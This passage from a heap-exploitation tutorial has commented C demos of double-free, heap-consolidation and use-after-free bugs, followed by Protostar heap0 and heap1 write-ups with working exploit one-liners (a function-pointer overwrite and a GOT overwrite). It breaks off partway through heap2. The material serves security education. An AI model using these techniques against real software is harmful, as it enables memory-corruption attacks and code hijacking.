            errstr = "malloc(): memory corruption (fast)";
          errout:
            malloc_printerr (check_action, errstr, chunk2mem (victim), av);
            return NULL;
          }
        check_remalloced_chunk (av, victim, nb);
        void *p = chunk2mem (victim);
        alloc_perturb (p, bytes);
        return p;
      }
  }
```

Here we can see the check that we failed. The check is being done on a chunk allocated from the fast bin. It is checking to see if the size of the chunk matches the list (`idx`) it is coming from, which it doesn't due to some memory corruption.

Linking

When you attempt to use `LD_PRELOAD` to have a binary use a specific libc file, you might find an issue if the linker's are not compatible. If you run into that issue where you try to `LD_PRELOAD` a libc version that isn't compatible and you have gdb attached, you should see an error message from gdb like this:

```
GEF for linux ready, type `gef' to start, `gef config' to configure
75 commands loaded for GDB 8.2.91.20190405-git using Python engine 3.7
[*] 5 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./cookbook...
(No debugging symbols found in ./cookbook)
Attaching to program: /Hackery/pod/modules/house_of_force/bkp16_cookbook
/cookbook, process 21763
Could not attach to process.  If your uid matches the uid of the target
process, check the setting of /proc/sys/kernel/yama/ptrace_scope, or try
again as the root user.  For more details, see /etc/sysctl.d/10-ptrace.conf
warning: process 21763 is a zombie - the process has already terminated
ptrace: Operation not permitted.
/Hackery/pod/modules/house_of_force/bkp16_cookbook/21763: No such file or
directory.
gef➤
```

There are several ways you can tackle this problem. You could just keep all of the linkers on hand, and just use them as you need to. What I currently do is run several different vms with different versions of Ubuntu. This is because different versions of Ubuntu ship with different linkers, and different linkers work with different libc versions. I find this to be less of a hassle. For all of the libc dependant challenges, in the writeup I put what version of Ubuntu I used, so if you want to take the same approach you can.

Explanations

Now since the attacks can get a bit more complicated, one thing I will start including in all of the modules is a well documented C file explaining how this attack works. I find this to be helpful at times. I did not come up with this idea. I saw it in how2heap from the ctf team shellphish (https://github.com/shellphish/how2heap), and I thought having something like that would be super helpful for this project. I would recommend looking at it, it's a great resource.

References

Here are some references I used while writing this. If you want to learn more, I would recommend looking at them:

```
https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/
http://core-analyzer.sourceforge.net/index_files/Page335.html
https://sourceware.org/glibc/wiki/MallocInternals
https://github.com/shellphish/how2heap
```

edit free chunk uaf explanation

This module essentially explains what a Double Free bug is. It can be used to edit freed chunks, and heap metadata among other things. This can be very useuful for other attacks. Checkout the well documented source code or binary to see the explanation.

The code:

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
    puts("The goal of this is to show how we can edit a freed chunk using a
Double Free bug.");
    puts("Editing freed chunks will allow us to overwrite heap metadata, which
is crucial to a lot of heap attacks.");
    puts("However a bug to edit the heap metadata is often just one piece of the
exploitation process.\n");

    printf("So we start off by allocating three chunks of memory. Let's also
write some data to them.\n\n");

    char *ptr0, *ptr1, *ptr2;

    ptr0 = malloc(0x30);
    ptr1 = malloc(0x30);
    ptr2 = malloc(0x30);

    char *data0 = "00000000";
    char *data1 = "11111111";
    char *data2 = "22222222";

    memcpy(ptr0, data0, 0x8);
    memcpy(ptr1, data1, 0x8);
    memcpy(ptr2, data2, 0x8);

    printf("Chunk0: @ %p\t contains: %s\n", ptr0, ptr0);
    printf("Chunk1: @ %p\t contains: %s\n", ptr1, ptr1);
    printf("Chunk2: @ %p\t contains: %s\n\n", ptr2, ptr2);

    printf("Now is where the bug comes in. We will free the same pointer twice
(the first chunk pointed to by ptr0).\n");
    printf("In between the two frees, we will free a different pointer. This is
because in several different versions of malloc, there is a double free check
\n(however in libc-2.27 it will hit the tcache and this will be fine).\n");
    printf("It will check if the pointer being free is the same as the last
chunk freed, and if it is the program will cease execution.\n");
    printf("To bypass this, we can just free something in between the two frees
to the same pointer.\n\n");

    free(ptr0);
    free(ptr1);
    free(ptr0);

    printf("Next up we will allocate three new chunks of the same size that we
freed, and write some data to them. This will give us the three chunks we
freed.\n\n");
```

```
    char *ptr3, *ptr4, *ptr5;

    ptr3 = malloc(0x30);
    ptr4 = malloc(0x30);
    ptr5 = malloc(0x30);

    memcpy(ptr3, data0, 0x8);
    memcpy(ptr4, data1, 0x8);
    memcpy(ptr5, data2, 0x8);

    printf("Chunk3: @ %p\t contains: %s\n", ptr3, ptr3);
    printf("Chunk4: @ %p\t contains: %s\n", ptr4, ptr4);
    printf("Chunk5: @ %p\t contains: %s\n\n", ptr5, ptr5);

    printf("So you can see that we allocated the same pointer twice, as a result
of freeing the same pointer twice (since malloc will reuse freed chunks of
similar sizes for performance boosts).\n");
    printf("Now we can free one of the pointers to either Chunk 3 or 5 (ptr3 or
ptr5), and clear out the pointer. We will still have a pointer remaining to the
same memory chunk, which will now be freed.\n");
    printf("As a result we can use the double free to edit a freed chunk. Let's
see it in action by freeing Chunk3 and setting the pointer equal to 0x0 (which
is what's supposed to happen to prevent UAFs).\n\n");


    free(ptr3);
    ptr3 = 0x0;

    printf("Chunk3: @ %p\n", ptr3);
    printf("Chunk5: @ %p\n\n", ptr5);

    printf("So you can see that we have freed ptr3 (Chunk 3) and discarded it's
pointer. However we still have a pointer to it. Using that we can edit the freed
chunk.\n\n");

    char *data3 = "15935728";
    memcpy(ptr5, data3, 0x8);

    printf("Chunk5: @ %p\t contains: %s\n\n", ptr5, ptr5);

    printf("Just like that, we were able to use a double free to edit a free
chunk!\n");

}
```

The code running:

```
$   ./double_free_exp
The goal of this is to show how we can edit a freed chunk using a Double Free
bug.
Editing freed chunks will allow us to overwrite heap metadata, which is crucial
to a lot of heap attacks.
However a bug to edit the heap metadata is often just one piece of the
exploitation process.

So we start off by allocating three chunks of memory. Let's also write some data
to them.

Chunk0: @ 0x557c30676670     contains: 00000000
Chunk1: @ 0x557c306766b0     contains: 11111111
Chunk2: @ 0x557c306766f0     contains: 22222222

Now is where the bug comes in. We will free the same pointer twice (the first
chunk pointed to by ptr0).
In between the two frees, we will free a different pointer. This is because in
several different versions of malloc, there is a double free check
(however in libc-2.27 it will hit the tcache and this will be fine).
It will check if the pointer being free is the same as the last chunk freed, and
if it is the program will cease execution.
To bypass this, we can just free something in between the two frees to the same
pointer.

Next up we will allocate three new chunks of the same size that we freed, and
write some data to them. This will give us the three chunks we freed.

Chunk3: @ 0x557c30676670     contains: 22222222
Chunk4: @ 0x557c306766b0     contains: 11111111
Chunk5: @ 0x557c30676670     contains: 22222222

So you can see that we allocated the same pointer twice, as a result of freeing
the same pointer twice (since malloc will reuse freed chunks of similar sizes
for performance boosts).
Now we can free one of the pointers to either Chunk 3 or 5 (ptr3 or ptr5), and
clear out the pointer. We will still have a pointer remaining to the same memory
chunk, which will now be freed.
As a result we can use the double free to edit a freed chunk. Let's see it in
action by freeing Chunk3 and setting the pointer equal to 0x0 (which is what's
supposed to happen to prevent UAFs).

Chunk3: @ (nil)
Chunk5: @ 0x557c30676670

So you can see that we have freed ptr3 (Chunk 3) and discarded it's pointer.
However we still have a pointer to it. Using that we can edit the freed chunk.

Chunk5: @ 0x557c30676670     contains: 15935728

Just like that, we were able to use a double free to edit a free chunk!
```

edit free chunk uaf explanation

This module essentially explains what heap consolidation achieved via a buffer overflow is. It can be used to edit freed chunks, and heap metadata among other things. This can be very useseful for other attacks. Checkout the well documented source code or binary to see the explanation.

The code:

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
    puts("The goal of this is to show how we can edit a freed chunk using a heap
overflow bug to cause consolidation.");
    puts("Editing freed chunks will allow us to overwrite heap metadata, which
is crucial to a lot of attacks.");
    puts("However a bug to edit the heap metadata is often just one piece of the
exploitation process.\n");

    printf("We will start off by allocating four separate chunks of memory. The
first three will be used for the heap consolidation.\n");
    printf("The last one will be used to essentially separate this from the heap
wilderness, and we won't do anything with it.\n\n");

    unsigned long *ptr0, *ptr1, *ptr2, *ptr3, *ptr4, *ptr5;

    ptr0 = malloc(0x500);
    ptr1 = malloc(0x70);
    ptr2 = malloc(0x500);
    ptr3 = malloc(0x30);

    printf("Chunk 0: %p\t Size: 0x500\n", ptr0);
    printf("Chunk 1: %p\t Size: 0x70\n", ptr1);
    printf("Chunk 2: %p\t Size: 0x500\n", ptr2);
    printf("Chunk 3: %p\t Size: 0x30\n\n", ptr3);

    printf("Now the reason why the first and second chunks are 0x500 in sizes,
is because they will be the ones we are freeing. In the most recent libc
versions (2.26 & 2.27), there is a tcache mechanism.\n");
    printf("If these chunks were much smaller, they would be stored in the
tcaching mechanism and this wouldn't work. So I made them large so they wouldn't
end up in the tcache.\n\n");

    printf("Start off by freeing ptr0, and clearing the pointer (which is often
done when heap chunks get freed to avoid a use after free).\n\n");

    free(ptr0);
    ptr0 = 0;

    printf("Chunk 0: %p\n\n", ptr0);

    printf("Now is where the heap overflow bug comes into play. We will overflow
the heap metadata of ptr2. We can see that the size of ptr2 is 0x511.\n\n");

    printf("Size of Chunk 2 @ %p\t Metadata Size: 0x%lx\n\n", ptr2, ptr2[-1]);

    printf("0x500 bytes for the data, 0x10 bytes for the metadata, and 0x1 byte
to designate that the previous chunk is in use. Our overflow will overwrite
```

```
this, and the previous size value.\n");
    printf("We will overwrite the size to be 0x510, essentially clearing the
previous in use bit. This way when we free this chunk, it will think that the
previous chunk has been freed (which it hasn't).\n");
    printf("So following that, we will place a fake previous size which is the
previous QWORD behind the size. We will put it as 0x590, so it thinks that the
previous chunk goes all the way back to where Chunk 0 is.\n");
    printf("Then when we free Chunk 2, it will consolidate the heap past chunk 1
and up to chunk 0. Then we can start allocating memory from where Chunk 0, and
get an overlapping pointer to where Chunk 1 is, since it thinks it has been
freed.\n");
    printf("Let's do the overwrite.\n\n");

    ptr1[14] = 0x590;
    ptr1[15] = 0x510;

    printf("Chunk 2 @ %p\nPrevious Size: 0x%lx\nSize: 0x%lx\n\n", ptr2,
ptr2[-2], ptr2[-1]);

    printf("Now we free chunk 2 to cause consolidation.\n\n");

    free(ptr2);
    ptr2 = 0;

    printf("Now we can allocate a 0x500 chunk and an 0x70 chunk, and we wil get
a pointer to where chunk 1 was.\n\n");
    ptr4 = malloc(0x500);
    ptr5 = malloc(0x70);

    printf("Chunk 4: %p\t Size: 0x500\n", ptr4);
    printf("Chunk 5: %p\t Size: 0x30\n\n", ptr5);

    printf("With that we can just free Chunk 1 (which is the same as Chunk 5),
and we will be able to edit a freed heap chunk.\n\n");

    free(ptr1);
    ptr1 = 0;

    char *data = "15935728\x00";
    memcpy(ptr5, data, 0x9);

    printf("Chunk 5 @ %p\t Contains: %s\n\n", ptr5, (char *)ptr5);

    printf("Just like that we use a heap overflow to cause a heap consolidation
past an allocated chunk, get overlapping pointers, and edit a free chunk!\n");
}
```

The code running:

```
$   ./heap_consolidation_explanation
The goal of this is to show how we can edit a freed chunk using a heap overflow
bug to cause consolidation.
Editing freed chunks will allow us to overwrite heap metadata, which is crucial
to a lot of attacks.
However a bug to edit the heap metadata is often just one piece of the
exploitation process.

We will start off by allocating four separate chunks of memory. The first three
will be used for the heap consolidation.
The last one will be used to essentially separate this from the heap wilderness,
and we won't do anything with it.

Chunk 0: 0x55b4366fd670  Size: 0x500
Chunk 1: 0x55b4366fdb80  Size: 0x70
Chunk 2: 0x55b4366fdc00  Size: 0x500
Chunk 3: 0x55b4366fe110  Size: 0x30

Now the reason why the first and second chunks are 0x500 in sizes, is because
they will be the ones we are freeing. In the most recent libc versions (2.26 &
2.27), there is a tcache mechanism.
If these chunks were much smaller, they would be stored in the tcaching
mechanism and this wouldn't work. So I made them large so they wouldn't end up
in the tcache.

Start off by freeing ptr0, and clearing the pointer (which is often done when
heap chunks get freed to avoid a use after free).

Chunk 0: (nil)

Now is where the heap overflow bug comes into play. We will overflow the heap
metadata of ptr2. We can see that the size of ptr2 is 0x511.

Size of Chunk 2 @ 0x55b4366fdc00     Metadata Size: 0x511

0x500 bytes for the data, 0x10 bytes for the metadata, and 0x1 byte to designate
that the previous chunk is in use. Our overflow will overwrite this, and the
previous size value.
We will overwrite the size to be 0x510, essentially clearing the previous in use
bit. This way when we free this chunk, it will think that the previous chunk has
been freed (which it hasn't).
So following that, we will place a fake previous size which is the previous
QWORD behind the size. We will put it as 0x590, so it thinks that the previous
chunk goes all the way back to where Chunk 0 is.
Then when we free Chunk 2, it will consolidate the heap past chunk 1 and up to
chunk 0. Then we can start allocating memory from where Chunk 0, and get an
overlapping pointer to where Chunk 1 is, since it thinks it has been freed.
Let's do the overwrite.

Chunk 2 @ 0x55b4366fdc00
Previous Size: 0x590
Size: 0x510
```

```
Now we free chunk 2 to cause consolidation.

Now we can allocate a 0x500 chunk and an 0x70 chunk, and we wil get a pointer to
where chunk 1 was.

Chunk 4: 0x55b4366fd670  Size: 0x500
Chunk 5: 0x55b4366fdb80  Size: 0x30

With that we can just free Chunk 1 (which is the same as Chunk 5), and we will
be able to edit a freed heap chunk.

Chunk 5 @ 0x55b4366fdb80     Contains: 15935728

Just like that we use a heap overflow to cause a heap consolidation past an
allocated chunk, get overlapping pointers, and edit a free chunk!
```

edit free chunk uaf explanation

This module essentially explains what a Use After Free is. It can be used to edit freed chunks, and heap metadata among other things. This can be very useuful for other attacks. Checkout the well documented source code or binary to see the explanation.

The code:

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
    puts("The goal of this is to show how we can edit a freed chunk using a UAF
(Use After Free) bug.");
    puts("Editing freed chunks will allow us to overwrite heap metadata, which
is crucial to a lot of attacks.");
    puts("However a bug to edit the heap metadata is often just one piece of the
exploitation process.");

    printf("So we start off by allocating a chunk of memory.\n\n");

    char *ptr;
    ptr = malloc(0x30);

    printf("Chunk0: %p\n\n", ptr);

    printf("Let's store some data in it.\n\n");

    char *data0 = "15935728";
    memcpy(ptr, data0, 0x8);

    printf("Chunk 0 @ %p\t contains: %s\n\n", ptr, ptr);

    printf("Now we will free it, but keep the pointer for later.\n\n");

    free(ptr);

    printf("Chunk 0 (ptr) has now been freed. Now here is where the UAF comes
in. It's pretty simple. We freed a pointer, but we keep it around so we can use
it. Hence the name Use After Free.");
    printf("We will write to the chunk to use it.\n\n");

    char *data1 = "75395128";
    memcpy(ptr, data1, 0x8);

    printf("Chunk 0 @ %p\t contains: %s\n\n", ptr, ptr);

    printf("Just like that, we used a UAF to edit a freed chunk!\n");

}
```

The code running:

```
$       ./uaf_exp
The goal of this is to show how we can edit a freed chunk using a UAF (Use After
Free) bug.
Editing freed chunks will allow us to overwrite heap metadata, which is crucial
to a lot of attacks.
However a bug to edit the heap metadata is often just one piece of the
exploitation process.
So we start off by allocating a chunk of memory.

Chunk0: 0x5654ef831670

Let's store some data in it.

Chunk 0 @ 0x5654ef831670         contains: 15935728

Now we will free it, but keep the pointer for later.

Chunk 0 (ptr) has now been freed. Now here is where the UAF comes in. It's
pretty simple. We freed a pointer, but we keep it around so we can use it. Hence
the name Use After Free.We will write to the chunk to use it.

Chunk 0 @ 0x5654ef831670         contains: 75395128

Just like that, we used a UAF to edit a freed chunk!
```

protostar heap 0

Let's take a look at the binary. Also this challenge is a bit different from the others, the goal is to run the `winner` function. Also I recompiled this challenge from source:

```
$    file heap0
heap0: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically
linked, interpreter /lib/ld-, for GNU/Linux 3.2.0,
BuildID[sha1]=ca0d25fb47b05e42811810bf08e5376b33f64501, not stripped
$    pwn checksec heap0
[*] '/Hackery/pod/modules/heap_overflow/protostart_heap0/heap0'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
$    ./heap0
data is at 0x56fde160, fp is at 0x56fde1b0
Segmentation fault (core dumped)
$    ./heap0 15935728
data is at 0x56c08160, fp is at 0x56c081b0
level has not been passed
```

So we can see it prints out what looks like two heap addresses, and takes in input as an argument. In addition to that we see that there is no PIE, and it is a 32 bit binary. When we take a look at the main function in Ghidra, we see this:

```
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection:
get_pc_thunk_bx */

undefined4 main(undefined4 param_1,int param_2)

{
  char *ptr0;
  undefined **ptr1;

  ptr0 = (char *)malloc(0x40);
  ptr1 = (undefined **)malloc(4);
  *(code **)ptr1 = nowinner;
  printf("data is at %p, fp is at %p\n",ptr0,ptr1);
  strcpy(ptr0,*(char **)(param_2 + 4));
  (*(code *)*ptr1)();
  return 0;
}
```

So we can see a few things. First that it allocates two separate heap chunks, one `0x40` bytes big and the other just `4` bytes (`ptr0` and `ptr1`). Then it sets `ptr1` equal to the function `nowinner` . After that it prints the value of `ptr0` and `ptr1` (so that is where our two heap addresses come from). Proceeding that it copies over the input we gave it via an argument to `ptr0` , however doesn't check for an overflow. This gives us a heap overflow bug. Proceeding that it executes the address pointed to by `ptr1` .

So we have an overflow. With it we will use it to overwrite the value of `ptr1` to be that of the `winner` function. When we ran it, we can see that `ptr0` was at `0x56c08160` and `ptr1` was at `0x56c081b0` (for the second iteration of running it). So after `0x56c081b0 - 0x56c08160 = 0x50` bytes of space between the start of our input and the instruction pointer stored in `ptr1` . Next we need the address of `winner` :

```
$    objdump -D heap0 | grep winner
080484b6 <winner>:
080484e1 <nowinner>:
```

With that, we have everything we need to solve the challenge:

```
$    ./heap0 `python -c 'print "0"*0x50 + "\xb6\x84\x04\x08"'`
data is at 0x98ac160, fp is at 0x98ac1b0
level passed
```

exploit_exercises protostar heap 1

Let's take a look at the binary. Also this challenge is a bit different from the others, it's from the protostar wargame and the goal is to call the `winner` function (not pop a shell). Also this isn't the original binary, I recompiled it:

```
$       file heap1
heap1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically
linked, interpreter /lib/ld-, for GNU/Linux 3.2.0,
BuildID[sha1]=0840a5076b50649a07ba60e78144b2bf30297c92, not stripped
$       pwn checksec heap1
[*] '/Hackery/pod/modules/heap_overflow/protostarHeap1/heap1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
$       ./heap1
Segmentation fault (core dumped)
$       ./heap1 15935728
Segmentation fault (core dumped)
$       ./heap1 15935728 75395128
and that's a wrap folks!
```

So we are dealing with a `32` bit binary with no PIE or RELRO. It also expects two inputs passed as arguments to the program. When we take a look at the main function in Ghidra, we see this:

```
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection:
get_pc_thunk_bx */

undefined4 main(undefined4 argc,int argv)

{
  undefined4 *chunk0;
  void *ptr0;
  undefined4 *chunk1;
  void *ptr1;

  chunk0 = (undefined4 *)malloc(8);
  *chunk0 = 1;
  ptr0 = malloc(8);
  *(void **)(chunk0 + 1) = ptr0;
  chunk1 = (undefined4 *)malloc(8);
  *chunk1 = 2;
  ptr1 = malloc(8);
  *(void **)(chunk1 + 1) = ptr1;
  strcpy((char *)chunk0[1],*(char **)(argv + 4));
  strcpy((char *)chunk1[1],*(char **)(argv + 8));
  puts("and that\'s a wrap folks!");
  return 0;
}
```

So we can see that this program starts off by allocating two heap structures. The structure of those structures is this:

```
0x4:    integer (either 1, or 2)
0x8:    ptr to eight byte space allocated with malloc
```

The bug here is the two `strcpy` calls. They aren't checking if the space it is writing to is big enough to hold the data, so we have an overflow. Taking a look at how the data is laid out in the heap in gdb, we see this:

```
gef➤  disas main
Dump of assembler code for function main:
   0x080484e1 <+0>:     lea    ecx,[esp+0x4]
   0x080484e5 <+4>:     and    esp,0xfffffff0
   0x080484e8 <+7>:     push   DWORD PTR [ecx-0x4]
   0x080484eb <+10>:    push   ebp
   0x080484ec <+11>:    mov    ebp,esp
   0x080484ee <+13>:    push   esi
   0x080484ef <+14>:    push   ebx
   0x080484f0 <+15>:    push   ecx
   0x080484f1 <+16>:    sub    esp,0x1c
   0x080484f4 <+19>:    call   0x80483f0 <__x86.get_pc_thunk.bx>
   0x080484f9 <+24>:    add    ebx,0x1b07
   0x080484ff <+30>:    mov    esi,ecx
   0x08048501 <+32>:    sub    esp,0xc
   0x08048504 <+35>:    push   0x8
   0x08048506 <+37>:    call   0x8048360 <malloc@plt>
   0x0804850b <+42>:    add    esp,0x10
   0x0804850e <+45>:    mov    DWORD PTR [ebp-0x20],eax
   0x08048511 <+48>:    mov    eax,DWORD PTR [ebp-0x20]
   0x08048514 <+51>:    mov    DWORD PTR [eax],0x1
   0x0804851a <+57>:    sub    esp,0xc
   0x0804851d <+60>:    push   0x8
   0x0804851f <+62>:    call   0x8048360 <malloc@plt>
   0x08048524 <+67>:    add    esp,0x10
   0x08048527 <+70>:    mov    edx,eax
   0x08048529 <+72>:    mov    eax,DWORD PTR [ebp-0x20]
   0x0804852c <+75>:    mov    DWORD PTR [eax+0x4],edx
   0x0804852f <+78>:    sub    esp,0xc
   0x08048532 <+81>:    push   0x8
   0x08048534 <+83>:    call   0x8048360 <malloc@plt>
   0x08048539 <+88>:    add    esp,0x10
   0x0804853c <+91>:    mov    DWORD PTR [ebp-0x1c],eax
   0x0804853f <+94>:    mov    eax,DWORD PTR [ebp-0x1c]
   0x08048542 <+97>:    mov    DWORD PTR [eax],0x2
   0x08048548 <+103>:   sub    esp,0xc
   0x0804854b <+106>:   push   0x8
   0x0804854d <+108>:   call   0x8048360 <malloc@plt>
   0x08048552 <+113>:   add    esp,0x10
   0x08048555 <+116>:   mov    edx,eax
   0x08048557 <+118>:   mov    eax,DWORD PTR [ebp-0x1c]
   0x0804855a <+121>:   mov    DWORD PTR [eax+0x4],edx
   0x0804855d <+124>:   mov    eax,DWORD PTR [esi+0x4]
   0x08048560 <+127>:   add    eax,0x4
   0x08048563 <+130>:   mov    edx,DWORD PTR [eax]
   0x08048565 <+132>:   mov    eax,DWORD PTR [ebp-0x20]
   0x08048568 <+135>:   mov    eax,DWORD PTR [eax+0x4]
   0x0804856b <+138>:   sub    esp,0x8
   0x0804856e <+141>:   push   edx
   0x0804856f <+142>:   push   eax
   0x08048570 <+143>:   call   0x8048350 <strcpy@plt>
   0x08048575 <+148>:   add    esp,0x10
```

```
   0x08048578 <+151>:   mov    eax,DWORD PTR [esi+0x4]
   0x0804857b <+154>:   add    eax,0x8
   0x0804857e <+157>:   mov    edx,DWORD PTR [eax]
   0x08048580 <+159>:   mov    eax,DWORD PTR [ebp-0x1c]
   0x08048583 <+162>:   mov    eax,DWORD PTR [eax+0x4]
   0x08048586 <+165>:   sub    esp,0x8
   0x08048589 <+168>:   push   edx
   0x0804858a <+169>:   push   eax
   0x0804858b <+170>:   call   0x8048350 <strcpy@plt>
   0x08048590 <+175>:   add    esp,0x10
   0x08048593 <+178>:   sub    esp,0xc
   0x08048596 <+181>:   lea    eax,[ebx-0x19ab]
   0x0804859c <+187>:   push   eax
   0x0804859d <+188>:   call   0x8048370 <puts@plt>
   0x080485a2 <+193>:   add    esp,0x10
   0x080485a5 <+196>:   mov    eax,0x0
   0x080485aa <+201>:   lea    esp,[ebp-0xc]
   0x080485ad <+204>:   pop    ecx
   0x080485ae <+205>:   pop    ebx
   0x080485af <+206>:   pop    esi
   0x080485b0 <+207>:   pop    ebp
   0x080485b1 <+208>:   lea    esp,[ecx-0x4]
   0x080485b4 <+211>:   ret
End of assembler dump.
gef➤  b *main+175
Breakpoint 1 at 0x8048590
gef➤  r 1593572 7539512
Starting program: /Hackery/pod/modules/heap_overflow/protostarHeap1/heap1
1593572 7539512
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────
registers ────
$eax   : 0x0804b190  →  "7539512"
$ebx   : 0x0804a000  →  0x08049f14  →  0x00000001
$ecx   : 0xffffd2f5  →  "7539512"
$edx   : 0x0804b190  →  "7539512"
$esp   : 0xffffd010  →  0x0804b190  →  "7539512"
$ebp   : 0xffffd048  →  0x00000000
$esi   : 0xffffd060  →  0x00000003
$edi   : 0x0
$eip   : 0x08048590  →  <main+175> add esp, 0x10
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
─────────────────────────────────────────────────────────────────
stack ────
0xffffd010│+0x0000: 0x0804b190  →  "7539512"     ← $esp
0xffffd014│+0x0004: 0xffffd2f5  →  "7539512"
0xffffd018│+0x0008: 0x00000000
0xffffd01c│+0x000c: 0x080484f9  →  <main+24> add ebx, 0x1b07
0xffffd020│+0x0010: 0xf7faf3fc  →  0xf7fb0200  →  0x00000000
0xffffd024│+0x0014: 0x00000000
0xffffd028│+0x0018: 0x0804b160  →  0x00000001
```

```
0xffffd02c│+0x001c: 0x0804b180  →  0x00000002
──────────────────────────────────────────────────────────────────────────
code:x86:32 ────
    0x8048587 <main+166>       in     al, dx
    0x8048588 <main+167>       or     BYTE PTR [edx+0x50], dl
    0x804858b <main+170>       call   0x8048350 <strcpy@plt>
 →  0x8048590 <main+175>       add    esp, 0x10
    0x8048593 <main+178>       sub    esp, 0xc
    0x8048596 <main+181>       lea    eax, [ebx-0x19ab]
    0x804859c <main+187>       push   eax
    0x804859d <main+188>       call   0x8048370 <puts@plt>
    0x80485a2 <main+193>       add    esp, 0x10
──────────────────────────────────────────────────────────────────────────
threads ────
[#0] Id 1, Name: "heap1", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────
trace ────
[#0] 0x8048590 → main()
──────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x08048590 in main ()
gef➤  search-pattern 1593572
[+] Searching '1593572' in memory
[+] In '[heap]'(0x804b000-0x806d000), permission=rw-
  0x804b170 - 0x804b177  →   "1593572"
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
  0xffffd2ed - 0xffffd2f4  →   "1593572"
gef➤  search-pattern 0x0804b170
[+] Searching '0x0804b170' in memory
[+] In '[heap]'(0x804b000-0x806d000), permission=rw-
  0x804b164 - 0x804b174  →   "\x70\xb1\x04\x08[...]"
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
  0xffffd000 - 0xffffd010  →   "\x70\xb1\x04\x08[...]"
gef➤  x/20w 0x804b160
0x804b160:      0x00000001      0x0804b170      0x00000000      0x00000011
0x804b170:      0x33393531      0x00323735      0x00000000      0x00000011
0x804b180:      0x00000002      0x0804b190      0x00000000      0x00000011
0x804b190:      0x39333537      0x00323135      0x00000000      0x00021e69
0x804b1a0:      0x00000000      0x00000000      0x00000000      0x00000000
```

So we can see that our first input begins at `0x804b170` . We can also see that the second pointer that is written to is at `0x804b184` . This leaves us with a `0x804b184 - 0x804b170 = 20` byte difference. Here is the plan. With the first `strcpy` call we will overwrite the pointer at `0x0804b190` by inputting `20` bytes, plus a new pointer. Then with the second write, we will be able to write a value we want where we want to. Now is just the question of where to write it.

Since RELRO isn't enabled, we can write to the got table. This will make it so when it tries to call one function, it will actually call another. Looking at the disassembly we see that `puts` is called after the `strcpy` calls so that would probably be a good target. We can get it's got table entry (no PIE so we don't need an infoleak here) with objdump:

```
$       objdump -R heap1 | grep puts
0804a018 R_386_JUMP_SLOT   puts@GLIBC_2.0
```

Now instead of executing `puts`, we can just execute the `winner` function instead. We can also find it's address using objdump:

```
$       objdump -D heap1 | grep winner
080484b6 <winner>:
```

With that, we have everything we need for our exploit:

```
$       ./heap1 `python -c 'print "0"*20 + "\x18\xa0\x04\x08" + " " + "\xb6\x84
\x04\x08"'`
and we have a winner
```

Just like that, we got the flag!

Protostar Heap 2

Let's take a look at the binary. Also this challenge is a bit different, the goal is to get it to print `you have logged in already!`:

```
$    file heap2
heap2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/l, for GNU/Linux 3.2.0,
BuildID[sha1]=fb7e2a85c0ae98fe79c4fddcd2a5ce4f2d6807bb, not stripped
$    ./heap2
[ auth = (nil), service = (nil) ]
```

So we can see that we are dealing with a `64` bit binary that when we run it, it looks like it displays some sort of menu to us that takes in input via stdin. Taking a look at the main function in Ghidra, we see this:

```c
undefined8 main(void)

{
  int authCheck;
  int resetCheck;
  int serviceCheck;
  int loginCheck;
  char *bytesRead;
  size_t lenInput;
  long in_FS_OFFSET;
  char input [5];
  char acStack147 [2];
  char acStack145 [129];
  long canary;

  canary = *(long *)(in_FS_OFFSET + 0x28);
  while( true ) {
    printf("[ auth = %p, service = %p ]\n",auth,service);
    bytesRead = fgets(input,0x80,stdin);
    if (bytesRead == (char *)0x0) break;
    authCheck = strncmp(input,"auth ",5);
    if (authCheck == 0) {
      auth = (char *)malloc(8);
      memset(auth,0,8);
      lenInput = strlen(acStack147);
      if (lenInput < 0x1f) {
        strcpy(auth,acStack147);
      }
    }
    resetCheck = strncmp(input,"reset",5);
    if (resetCheck == 0) {
      free(auth);
    }
    serviceCheck = strncmp(input,"service",6);
    if (serviceCheck == 0) {
      service = strdup(acStack145);
    }
    loginCheck = strncmp(input,"login",5);
    if (loginCheck == 0) {
      if (*(int *)(auth + 0x20) == 0) {
        puts("please enter your password");
      }
      else {
        puts("you have logged in already!");
      }
    }

  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();

  return 0;
```

```
}
```

So looking at the main function, we see that the menu has four separate options `auth/reset/service/login`. This loop runs in a while true loop, which it will scan in `0x80` bytes into `input` with `fgets`. For each iteration of the loop in the beginning, it will print the address of `auth` and `service`. Looking at the `auth` command, we see that it will allocate an eight byte chunk with malloc and set `auth` equal to it. Then it will check if our input past `auth` is lesser than `0x1f`, and if it is it will copy it to `auth`. Looking at the `reset` option, we see that it just frees `auth` (does not clear the address). Looking at the `service` option we can see that it runs `strdup` on `acStack145`. This is a bit weird, however looking at the stack layout we can see that it is `7` bytes away from the start of our input stored in `input`. So it is running `strdup` on `input+7`, which will just duplicate our input past `service` and store it in the heap. There is no size checking with this one. Finally we have the `login` function. It just checks to see if the integer stored at `auth+0x20` is equal to zero, and if it's not then we solve the challenge (goal of this challenge is to get it to print `you have logged in already!`).

